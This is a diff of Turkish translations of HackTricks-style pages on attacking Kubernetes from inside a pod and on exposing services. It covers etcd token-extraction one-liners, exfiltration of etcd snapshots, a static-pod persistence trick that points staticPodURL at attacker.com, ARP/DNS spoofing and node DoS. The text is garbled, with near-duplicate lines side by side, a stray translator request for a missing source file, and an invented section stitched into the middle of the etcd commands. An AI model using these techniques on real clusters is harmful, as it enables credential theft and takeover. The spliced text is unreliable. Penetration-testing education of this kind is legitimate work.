abusing-roles-clusterroles-in-kubernetes/
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
Eğer pod bir **cloud environment** içinde çalışıyorsa, metadata endpoint'inden bir token **l**eak** etmek ve bunu kullanarak ayrıcalıkları yükseltmek mümkün olabilir.
Eğer pod bir **cloud environment** içinde çalışıyorsa, metadata endpoint'inden bir token l**eak** edip bunu kullanarak privilege escalation yapabilirsiniz.
## Search vulnerable network services
Kubernetes environment içindeyken, mevcut pod'ların privileges'larını abuse ederek ayrıcalıkları yükseltemiyorsanız ve container'dan escape edemiyorsanız, **potansiyel vulnerable services** aramalısınız.
Kubernetes environment içindeyken, mevcut pod'ların privileges'larını abuse ederek privilege escalation yapamıyorsanız ve container'dan escape edemiyorsanız, **potansiyel vulnerable services aramalısınız.**
### Services
**Bu amaçla, kubernetes environment'ındaki tüm services'leri almaya çalışabilirsiniz:**
**Bu amaçla, Kubernetes environment içindeki tüm services'ları almaya çalışabilirsiniz:**
```
kubectl get svc --all-namespaces
```
Varsayılan olarak, Kubernetes düz bir networking şeması kullanır; bu da **cluster içindeki herhangi bir pod/servicein diğerleriyle konuşabildiği** anlamına gelir. Cluster içindeki **namespaces** varsayılan olarak **herhangi bir network security restriction** içermez. Namespace içindeki herkes diğer namespaces ile konuşabilir.
Varsayılan olarak, Kubernetes düz bir networking şeması kullanır; bu da **cluster içindeki herhangi bir pod/servicein diğerleriyle konuşabileceği** anlamına gelir. Cluster içindeki **namespaces** için **varsayılan olarak herhangi bir network security kısıtlaması yoktur**. Namespace içindeki herkes diğer namespaces ile konuşabilir.
### Scanning
Aşağıdaki Bash script (bir [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)'ten alınmıştır) kubernetes cluster’ının IP aralıklarını kuracak ve scan edecektir:
Aşağıdaki Bash scripti (bir [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)dan alınmıştır) kubernetes cluster’ının IP aralıklarını kuracak ve tarayacaktır:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Kubernetes'a özgü servisleri **attack** ederek nasıl **other pods/all the environment** ortamını **compromise** edebileceğinizi öğrenmek için şu sayfaya göz atın:
Kubernetesa özgü servisleri **saldırarak** diğer podları/tüm ortamı nasıl **compromise** edebileceğini öğrenmek için şu sayfaya göz atın:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
Eğer **compromised pod** diğer pod'ların authenticate olması gereken hassas bir servis çalıştırıyorsa, **local communications sniffing** yaparak diğer pod'lardan gönderilen credentials'ı elde edebilirsiniz.
**Compromised podun hassas bir servis** çalıştırdığı ve diğer podların kimlik doğrulaması yapması gerektiği durumda, diğer podlardan gönderilen kimlik bilgilerini **yerel iletişimi sniffing yaparak** elde edebilirsiniz.
## Network Spoofing
Varsayılan olarak **ARP spoofing** gibi teknikler (ve buna bağlı olarak **DNS Spoofing**) kubernetes network içinde çalışır. Bu durumda, bir pod içinde **NET_RAW capability** (varsayılan olarak vardır) varsa, özel olarak hazırlanmış network packets gönderebilir ve aynı node üzerinde çalışan tüm pod'lara karşı **ARP Spoofing yoluyla MitM attacks** gerçekleştirebilirsiniz.\
Ayrıca, **malicious pod** **DNS Server** ile aynı node üzerinde çalışıyorsa, cluster içindeki tüm pod'lara karşı bir **DNS Spoofing attack** gerçekleştirebilirsiniz.
Varsayılan olarak **ARP spoofing** gibi teknikler (ve bunun sayesinde **DNS Spoofing**) kubernetes network’ünde çalışır. Bu nedenle, bir pod içinde **NET_RAW capability**ye sahipseniz (bu varsayılan olarak vardır), özel olarak hazırlanmış network packetlar gönderebilir ve aynı node üzerinde çalışan tüm podlara karşı **ARP Spoofing üzerinden MitM attacks** gerçekleştirebilirsiniz.\
Ayrıca, **malicious pod** **DNS Server** ile aynı node üzerinde çalışıyorsa, clusterdaki tüm podlara karşı bir **DNS Spoofing attack** gerçekleştirebilirsiniz.
{{#ref}}
kubernetes-network-attacks.md
@@ -138,7 +138,7 @@ kubernetes-network-attacks.md
## Node DoS
Kubernetes manifests içinde resource tanımı yoktur ve container'lar için **limit** aralıkları uygulanmamıştır. Bir attacker olarak, pod/deployment'ın çalıştığı yerdeki tüm kaynakları **consume** edebilir, diğer kaynakları aç bırakabilir ve environment için bir DoS oluşturabilirsiniz.
Kubernetes manifestlerinde resource specification yoksa ve containerlar için **not applied limit** aralıkları tanımlanmamışsa. Bir attacker olarak, pod/deploymentin çalıştığı yerdeki **tüm resourceları tüketebilir** ve diğer resourceları aç bırakıp ortam için bir DoS oluşturabiliriz.
Bu, [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) gibi bir tool ile yapılabilir:
```
@@ -150,13 +150,13 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
```
## Node Post-Exploitation
Container'dan **escape** etmeyi başardıysan, node üzerinde bulabileceğin bazı ilginç şeyler var:
**Container'dan kaçmayı** başardıysanız node inde bulacağınız bazı ilginç şeyler vardır:
- **Container Runtime** process'i (Docker)
- Bu node üzerinde çalışan daha fazla **pods/containers**; bunu da istismar edebilirsin (daha fazla token)
- **Container Runtime** süreci (Docker)
- Node içinde çalışan daha fazla **pod/container**; bunu da istismar edebilirsiniz (daha fazla token)
- Genel olarak tüm **filesystem** ve **OS**
- Dinleyen **Kube-Proxy** service'i
- Dinleyen **Kubelet** service'i. Config dosyalarını kontrol et:
- Dinleyen **Kube-Proxy** servisi
- Dinleyen **Kubelet** servisi. Config dosyalarını kontrol edin:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
@@ -171,14 +171,20 @@ Container'dan **escape** etmeyi başardıysan, node üzerinde bulabileceğin baz
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Node kubeconfig dosyasını bul
### Image Pull and Registry Credentials
Eğer kubeconfig dosyasını daha önce yorumlanan yollardan birinde bulamazsan, **kubelet process'inin `--kubeconfig` argümanını kontrol et**:
Node erişiminden sonra, nodeun private imageları nasıl çektiğini de inceleyin. Faydalı kanıtlar arasında runtime image metadata (`crictl images`), Pod veya ServiceAccount `imagePullSecrets`, containerd registry configuration örneğin `/etc/containerd/config.toml` ve `/etc/containerd/certs.d`, ayrıca kubelet image credential provider bayrakları örneğin `--image-credential-provider-config` ve `--image-credential-provider-bin-dir` bulunur.
Cachelenmiş bir private image gördüğünüzde bunun yeniden kullanılabilir registry credentials verdiğini varsaymayın. Bu sadece image’ın bu nodeda mevcut olduğunu gösteriyor olabilir. Ancak static runtime registry credentials, Docker config JSON pull secrets veya kısa ömürlü pull credentials üretebilen bir credential provider private registry erişimini açığa çıkarabilir. Son Kubernetes sürümleri ayrıca image pull için service-account-token tabanlı kubelet credential providerları da destekler; bu yüzden etkiyi raporlamadan önce provider’ın Pod ile bağlı service account tokenlarını kullanıp kullanmadığını ve hangi audience istediğini kontrol edin.
### Find node kubeconfig
Kubeconfig dosyasını önceki yorumlanan pathlerden birinde bulamazsanız, **kubelet processin `--kubeconfig` argümanını kontrol edin**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Secrets çalın
### Secrets çalınması
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -199,20 +205,20 @@ echo ""
fi
done
```
script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **diğer pod'ların tokenlarını alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (tek tek sizin bakmanız yerine):
Script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **diğer podların tokenlarını alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (sizin tek tek bakmanız yerine):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
A DaemonSet bir **pod**dur ve **clusterdaki tüm nodelarda** **çalıştırılacaktır**. Bu nedenle, bir DaemonSet **privileged service account** ile yapılandırılmışsa, **TÜM nodelarda** kötüye kullanabileceğiniz bu **privileged service account**un **token**’ını bulabilirsiniz.
Bir DaemonSet, **kümedeki tüm nodelarda** **çalıştırılacak** bir **pod**dur. Bu nedenle, bir DaemonSet bir **privileged service account** ile yapılandırılmışsa, **TÜM nodelarda** kötüye kullanabileceğin o **privileged service account**un **token**’ını bulabilirsin.
Exploit, önceki bölümdekiyle aynıdır, ancak artık şansa bağlı değilsiniz.
Exploit, önceki bölümdekiyle aynıdır, ancak artık şansa bağlı değilsin.
### Pivot to Cloud
Eğer cluster bir cloud service tarafından yönetiliyorsa, genellikle **Node**, Poddan metadata endpointine farklı bir erişime sahip olacaktır. Bu nedenle, **metadata endpointine nodedan** (veya hostNetwork değeri True olan bir poddan) erişmeyi deneyin:
Eğer cluster bir cloud service tarafından yönetiliyorsa, genellikle **Node**, **metadata** endpointine Poddan farklı bir erişime sahip olur. Bu nedenle, **metadata endpoint**ine nodedan (veya hostNetwork True olan bir poddan) erişmeyi dene:
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,89 +226,254 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
Container’ı çalıştıracak Nodeun [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirtebiliyorsanız, bir control-plane node içinde shell alın ve **etcd database**ini edinin:
Container’ı çalıştıracak Nodeun [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirtebiliyorsan, bir control-plane node içinde shell al ve **etcd database**ini elde et:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane node'lar **role master**'dır ve **cloud managed clusters** içinde bunlarda herhangi bir şey çalıştıramazsınız.
control-plane nodes **role master** sahiptir ve **cloud managed clusterlarda onlarda hiçbir şey çalıştıramazsınız**.
#### Read secrets from etcd 1
#### secretsi etcd 1den oku
Pod spec içinde `nodeName` selector'ını kullanarak pod'unuzu bir control-plane node üzerinde çalıştırabiliyorsanız, tüm secrets dahil olmak üzere cluster'ın tüm configuration'ını içeren `etcd` database'ine kolay erişim elde edebilirsiniz.
Pod spec içinde `nodeName` selectorını kullanarak podunuzu bir control-plane node üzerinde çalıştırabiliyorsanız, tüm secrets dahil clusterın tüm configurationını içeren `etcd` databaseine kolayca erişebilirsiniz.
Aşağıda, bulunduğunuz control-plane node üzerinde çalışıyorsa `etcd`'den secrets çekmek için hızlı ve kaba bir yöntem var. `etcdctl` `etcd` client utility'sini kullanan bir pod başlatan ve control-plane node'un credentials'ını kullanarak etcd'ye, nerede çalışıyorsa oraya bağlanan daha elegant bir solution istiyorsanız, @mauilion tarafından hazırlanmış [bu example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) dosyasına bakın.
Aşağıda, üzerinde bulunduğunuz control-plane nodeda çalışıyorsa `etcd`den secrets almak için hızlı ve pratik bir yöntem var. Daha şık bir çözüm istiyorsanız, `etcdctl` client utilitysi ile bir pod başlatıp control-plane nodeun credentialsını kullanarak etcdye nerede çalışıyorsa bağlanan bir çözüm için @mauilion tarafından hazırlanmış [bu example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)e bakın.
**`etcd`'nin control-plane node üzerinde çalışıp çalışmadığını ve database'in nerede olduğunu kontrol edin (Bu, `kubeadm` ile oluşturulmuş bir cluster üzerindedir)**
**`etcd`nin control-plane node üzerinde çalışıp çalışmadığını ve databasein nerede olduğunu kontrol edin (Bu, `kubeadm` ile oluşturulmuş bir cluster üzerindedir)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Bu bölümün çevrileceği kaynak içerik mesajda yer almıyor. Lütfen `src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md` dosyasındaki metni paylaşın, ben de markdown ve tag yapısını aynen koruyarak Türkçeye çevireyim.
# Kubernetes'i Bir Pod İçinden Saldırmak
Bir Kubernetes pod'unun içinden saldırmak, container'dan Kubernetes cluster içindeki diğer servislere ve bazen temel altyapıya erişim için kullanılan credentials ve ayrıcalıkları kötüye kullanmayı içerir.
## Pod İçinden Neyi Zorlayabilirsin?
Bir pod içindeyseniz, şu erişimleri abuse etmeye çalışabilirsiniz:
- Diğer pod'lar ve servisler
- Kubernetes API
- ServiceAccount token'ları
- Cluster içi network
- HostPath mount'lar
- Bazen node filesystem veya host network
## Pod'da Ne Aranmalı
Aşağıdakileri kontrol edin:
- `ServiceAccount` permissions
- Pod'un mount ettiği volume'ler
- Env variable'lar
- Kubernetes API'ye erişim
- Container capability'leri
- Privileged container ayarları
- `hostPath` mount'ları
- `hostNetwork: true`
## Yaygın Teknikler
### 1. ServiceAccount Token'larını Kullanma
Eğer pod içinde bir `ServiceAccount` token'ı varsa, onu Kubernetes API'ye karşı kullanabilirsin. Bu, pod'un izinlerine bağlı olarak şunları yapmana izin verebilir:
- Pod'ları listeleme
- Secret'ları okuma
- Yeni pod oluşturma
- Yetkileri yükseltme
Token genellikle şu konumda bulunur:
```bash
/var/run/secrets/kubernetes.io/serviceaccount/token
```
API server'a istek atmak için şu şekilde kullanılabilir:
```bash
curl -k -H "Authorization: Bearer <token>" https://kubernetes.default.svc
```
### 2. Mounted Secret'ları Okuma
Bazı pod'lar Secret'ları volume olarak mount eder. Eğer bunları okuyabilirseniz, credential'ları, API key'leri veya diğer hassas bilgileri ele geçirebilirsiniz.
```bash
ls -la /etc/secrets/
cat /etc/secrets/*
```
### 3. Environment Variable'ları İnceleme
Bazen hassas bilgiler env variable olarak verilir. Bunları `env`, `printenv` veya `/proc/self/environ` ile kontrol et.
```bash
env
cat /proc/self/environ
```
### 4. Privileged Container Kötüye Kullanımı
Eğer container `privileged` ise veya `CAP_SYS_ADMIN` gibi güçlü capability'lere sahipse, host'a kaçış veya daha geniş erişim mümkün olabilir.
Kontrol et:
```bash
id
capsh --print
```
### 5. HostPath Mount'larını Abuse Etme
Eğer pod bir `hostPath` volume mount ediyorsa, host filesystem'e erişim elde edebilirsin. Bu, dosya okuma, yazma ve bazen host üzerindeki servislerin manipüle edilmesini mümkün kılar.
Örnek:
```bash
mount
ls -la /
```
### 6. Kubernetes API ile Daha Fazla Keşif
API erişimin varsa, şunları sorgulayabilirsin:
- Pod'lar
- Deployments
- Secrets
- ConfigMaps
- Nodes
- Roles ve RoleBindings
Örnek:
```bash
kubectl get pods -A
kubectl get secrets -A
kubectl get nodes
```
### 7. Pod'dan Node'a Geçiş
Bazı yanlış yapılandırmalarda, özellikle:
- `privileged` container
- `hostNetwork: true`
- `hostPID: true`
- `hostPath` mount
- Node üzerinde çalışan zayıf güvenlik kontrolleri
ile host node'a geçiş mümkün olabilir.
## Savunma Önerileri
- Least privilege kullan
- `ServiceAccount` izinlerini sınırla
- `privileged` container'lardan kaçın
- `hostPath` kullanımını azalt
- Secret'ları gereksiz yere mount etme
- Network policy kullan
- Pod Security standards uygula
- Audit logging aç
## Sonuç
Bir pod içinden saldırı, çoğu zaman container'ın kendi sınırlarını değil, yanlış yapılandırılmış Kubernetes izinlerini ve exposure'larını kötüye kullanma meselesidir. En kritik hedefler genellikle `ServiceAccount` token'ları, mounted Secret'lar ve `hostPath` mount'larıdır.
```bash
data-dir=/var/lib/etcd
```
**etcd database içindeki veriyi görüntüle:**
**Veriyi etcd database içinde görüntüle:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Databaseden tokenları çıkarın ve service account adını gösterin**
**Veritabanından tokens'ları çıkarın ve service account adını gösterin**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Aynı komut, ancak kube-system namespaceindeki sadece default token'ı döndürmek için bazı grep'ler ile**
**Aynı komut, ancak kube-system namespaceinde yalnızca default tokenı döndürmek için bazı grepler**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Aşağıda, bir pod içinden Kubernetes'e karşı saldırı yapma senaryosu için çeviri yer alıyor.
Önemli: Bu bölüm, bir pod içinden Kubernetes kümesini kötüye kullanmaya yönelik teknikleri açıklar. Bu tür teknikleri yalnızca yetkili testler, lab ortamları veya savunma amaçlı değerlendirmelerde kullanın.
Bir pod içindeyseniz, Kubernetes API'ye erişim için birkaç yol olabilir. Bunlar genellikle şunları içerir:
- **ServiceAccount token'ını kullanma**
- **Kubelet API'ye erişme**
- **Cluster içi servis keşfi ve lateral movement**
- **Pod'dan node'a kaçışa yol açabilecek yanlış yapılandırmaları sömürme**
`/var/run/secrets/kubernetes.io/serviceaccount/token` gibi mounted secrets, pod içinden Kubernetes API'yi çağırmak için sık kullanılır. Eğer pod'a bir ServiceAccount atandıysa, bu token çoğu zaman API isteklerini kimlik doğrulamak için yeterlidir.
Örnek olarak, API sunucusuna istek atmak için:
```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc
```
Eğer `Role` veya `ClusterRole` yeterince geniş yetkiler veriyorsa, saldırgan aşağıdaki işlemleri yapabilir:
- Pod'ları listeleme
- Secret'ları okuma
- ConfigMap'leri inceleme
- Yeni pod'lar oluşturma
- Daha yüksek ayrıcalıklı servis hesaplarına geçiş yapma
Kubernetes içindeki yaygın bir hedef, `secrets` kaynaklarını okumaktır. Çünkü bunlar genellikle veritabanı parolaları, cloud kimlik bilgileri ve diğer hassas verileri içerir.
Node üzerinde çalışan kubelet servisi de hedef olabilir. Kubelet API bazen yeterince korunmaz ve pod metadata'sı, loglar veya hatta bazı durumlarda container yönetim işlemleri hakkında bilgi verebilir.
Ayrıca, namespace içi keşif yaparak hangi servislerin çalıştığını anlamak, saldırı yüzeyini daraltmak için önemlidir. Bu, özellikle yanlış yapılandırılmış servis account'lar, fazla izinli `ClusterRoleBinding`'ler veya açıkta bırakılmış internal endpoint'ler olduğunda faydalıdır.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### **`etcd`** 2'den secrets oku [buradan](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### `etcd` 2'den secrets oku [buradan](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. **`etcd`** veritabanının bir snapshot'unu oluştur. Daha fazla bilgi için [**bu script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) kontrol et.
2. **`etcd`** snapshot'unu node dışına sevdiğin bir yöntemle aktar.
3. Veritabanını :
1. **`etcd`** veritabanının bir snapshot'ını oluşturun. Daha fazla bilgi için [**bu script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)'e bakın.
2. **`etcd`** snapshot'ını node dışına tercih ettiğiniz yöntemle transfer edin.
3. Veritabanını unpack edin:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Yerel makinenizde **`etcd`** başlatın ve çalınan snapshotı kullanmasını sağlayın:
4. Yerel makinenizde **`etcd`** başlatın ve çalınan snapshot'ı kullanmasını sağlayın:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. Tüm secrets'ları listele:
5. Tüm secrets'leri listele:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. secfrets'i alın:
6. secfretsi alın:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ doğrudan belirli bir node üzerindeki kubelet daemon tarafından yönetilir; API server bunları gözlemlemez. Control plane tarafından yönetilen Podslardan farklı olarak (örneğin, bir Deployment); bunun yerine, **kubelet her static Podu izler** (ve başarısız olursa yeniden başlatır).
_Static Pods_ doğrudan belirli bir node üzerindeki kubelet daemon tarafından yönetilir; API server bunları izlemez. Control plane tarafından yönetilen Podslardan (örneğin, bir Deployment) farklı olarak; bunun yerine, **kubelet her static Podu izler** (ve başarısız olursa yeniden başlatır).
Bu nedenle, static Pods her zaman belirli bir node üzerinde tek bir **Kubelet**e bağlıdır.
Bu nedenle, static Pods her zaman belirli bir node üzerindeki tek bir **Kubelet**e bağlıdır.
**kubelet, her static Pod için Kubernetes API server üzerinde otomatik olarak bir mirror Pod oluşturmaya çalışır**. Bu, bir node üzerinde çalışan Podsların API server üzerinde görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimlerinin sonuna, başında tire olacak şekilde node hostname eklenir.
**kubelet**, her static Pod için Kubernetes API server üzerinde otomatik olarak bir mirror Pod oluşturmaya çalışır. Bu, bir node üzerinde çalışan Podsların API serverda görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimlerinin sonuna, başında tire işareti olacak şekilde node hostnamei eklenir.
> [!CAUTION]
> Bir static Podun **`spec`** kısmı diğer API objelerine referans veremez** (örn. ServiceAccount, ConfigMap, Secret, vb. Bu yüzden **bu davranışı kullanıp mevcut node üzerinde keyfi bir serviceAccount ile pod başlatamazsınız** ve cluster’ı ele geçiremezsiniz. Ancak bunu farklı namespaces içinde pod çalıştırmak için kullanabilirsiniz (bir nedenle işe yararsa).
> Bir static Podun **`spec`** kısmı diğer API nesnelerine referans veremez (örn. ServiceAccount, ConfigMap, Secret, vb. Dolayısıyla bu davranışı kullanarak mevcut node üzerinde cluster’ı ele geçirmek için keyfi bir serviceAccount ile pod başlatmayı kötüye kullanamazsınız. Ancak bunu farklı namespaces içinde pod çalıştırmak için kullanabilirsiniz (eğer bir nedenle faydalıysa).
Node host içindeyseniz, onun kendi içinde bir **static pod** oluşturmasını sağlayabilirsiniz. Bu oldukça faydalıdır çünkü **kube-system** gibi farklı bir namespace içinde **pod oluşturmanıza** izin verebilir.
Eğer node hostun içindeyseniz, onun kendi içinde bir **static pod** oluşturmasını sağlayabilirsiniz. Bu oldukça kullanışlıdır çünkü **kube-system** gibi farklı bir namespace içinde bir pod oluşturmanıza izin verebilir.
Bir static pod oluşturmak için [**docs çok faydalıdır**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Temelde 2 şeye ihtiyacınız var:
Bir static pod oluşturmak için [**docs çok yardımcıdır**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Temelde 2 şeye ihtiyacınız var:
- **kubelet service** içinde ya da **kubelet config** içinde parametre **`--pod-manifest-path=/etc/kubernetes/manifests`** ayarlayın ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) ve servicei yeniden başlatın
- Tanımı **`/etc/kubernetes/manifests`** içinde **pod definition** olarak oluşturun
- **kubelet service** içinde veya **kubelet config** içinde **`--pod-manifest-path=/etc/kubernetes/manifests`** parametresini yapılandırın ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) ve servisi yeniden başlatın
- **`/etc/kubernetes/manifests`** içinde **pod definition** oluşturun
**Daha stealth bir başka yöntem ise şudur:**
**Daha gizli başka bir yol ise:**
- **kubelet** config file içindeki **`staticPodURL`** parametresini değiştirip şu tarz bir değer verin: `staticPodURL: http://attacker.com:8765/pod.yaml`. Bu, kubelet processin **belirtilen URLden configuration alarak** bir **static pod** oluşturmasını sağlar.
- **kubelet** config dosyasındaki **`staticPodURL`** parametresini değiştirin ve şöyle bir şey ayarlayın: `staticPodURL: http://attacker.com:8765/pod.yaml`. Bu, kubelet sürecinin **belirtilen URLden configuration alarak** bir **static pod** oluşturmasını sağlar.
**kube-system** içinde bir privilege pod oluşturmak için **pod** configuration örneği [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır:
**kube-system** içinde ayrıcalıklı bir pod oluşturmak için **pod** configuration örneği, [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır:
```yaml
apiVersion: v1
kind: Pod
@@ -330,8 +501,8 @@ type: Directory
```
### Delete pods + unschedulable nodes
Bir saldırgan bir **node'u ele geçirdiyse** ve diğer node'lardan **pods silebiliyor** ve diğer node'ların **pods çalıştırmasını engelleyebiliyorsa**, pods ele geçirilmiş node'da yeniden çalıştırılır ve içlerinde çalışan **tokens**'ları **steal** edebilir.\
Daha fazla bilgi için [**bu linkleri takip edin**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
Bir saldırgan bir **node'u compromise etmişse** ve diğer node'lardan **pods delete** edebiliyorsa ve diğer node'ların pod çalıştıramamasını sağlayabiliyorsa, pods compromised node üzerinde yeniden çalıştırılır ve içlerinde çalışan **tokens**'ları çalabilir.\
Daha fazla bilgi için [**bu bağlantıyı takip edin**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Kubernetes içinde servisleri expose etmenin **farklı yolları** vardır, böylece hem **internal** endpointler hem de **external** endpointler bunlara erişebilir. Bu Kubernetes konfigürasyonu oldukça kritiktir çünkü administrator, **attackers**'a erişmemeleri gereken servisler için access verebilir.
Kubernetes içinde hizmetleri dışa açmanın **farklı yolları** vardır; böylece hem **internal** endpointler hem de **external** endpointler onlara erişebilir. Bu Kubernetes yapılandırması oldukça kritiktir çünkü administrator, **attackers** için erişmemeleri gereken **services** erişimi verebilir.
### Automatic Enumeration
K8snin servisleri publice expose etmek için sunduğu yolları enumerate etmeye başlamadan önce, namespaces, services ve ingresses listeleyebiliyorsan publice exposed olan her şeyi şu şekilde bulabileceğini bil:
K8sin hizmetleri publice açmak için sunduğu yolları enumerate etmeye başlamadan önce, namespaces, services ve ingresses listesini alabiliyorsan, publice açılmış her şeyi şununla bulabileceğini bil:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,17 +20,17 @@ done | grep -v "ClusterIP"
```
### ClusterIP
Bir **ClusterIP** service, varsayılan Kubernetes **service**'idir. Bu, clusterınızın içinde diğer app'lerin erişebileceği bir **service inside** sağlar. **Dış erişim yoktur**.
Bir **ClusterIP** service, Kubernetesin **varsayılan** **service** türüdür. Bu, clusterınızın içinde diğer applerin erişebileceği bir **service inside** sağlar. **Dış erişim yoktur**.
Ancak, buna Kubernetes Proxy kullanılarak erişilebilir:
```bash
kubectl proxy --port=8080
```
Artık bu şemayı kullanarak services erişmek için Kubernetes API içinde gezinebilirsiniz:
Şimdi, bu scheme kullanarak services'e erişmek için Kubernetes API içinde navigate edebilirsiniz:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
Örneğin, aşağıdaki URL'yi kullanabilirsiniz:
Örneğin, şu URL'i kullanabilirsiniz:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
@@ -50,17 +50,17 @@ port: 80
targetPort: 80
protocol: TCP
```
_Bu yöntem, `kubectl` komutunu **kimliği doğrulanmış bir kullanıcı** olarak çalıştırmanızı gerektirir._
_Bu yöntem, `kubectl` komutunu **authenticated user** olarak çalıştırmanızı gerektirir._
Tüm ClusterIP'leri listele:
Tüm ClusterIP'leri listeleyin:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
**NodePort** kullanıldığında, tüm Nodelarda (Virtual Machinesi temsil eden) belirlenmiş bir port erişime açılır. Bu belirli porta yönlendirilen **traffic**, daha sonra sistematik olarak **servicee yönlendirilir**. Genellikle, dezavantajları nedeniyle bu yöntem önerilmez.
**NodePort** kullanıldığında, tüm Nodeslarda (Virtual Machinesi temsil eden) belirlenmiş bir port kullanılabilir hale getirilir. Bu belirli porta yönlendirilen **Traffic**, ardından sistematik olarak **service**e **routed to the service** edilir. Genellikle, dezavantajları nedeniyle bu yöntem önerilmez.
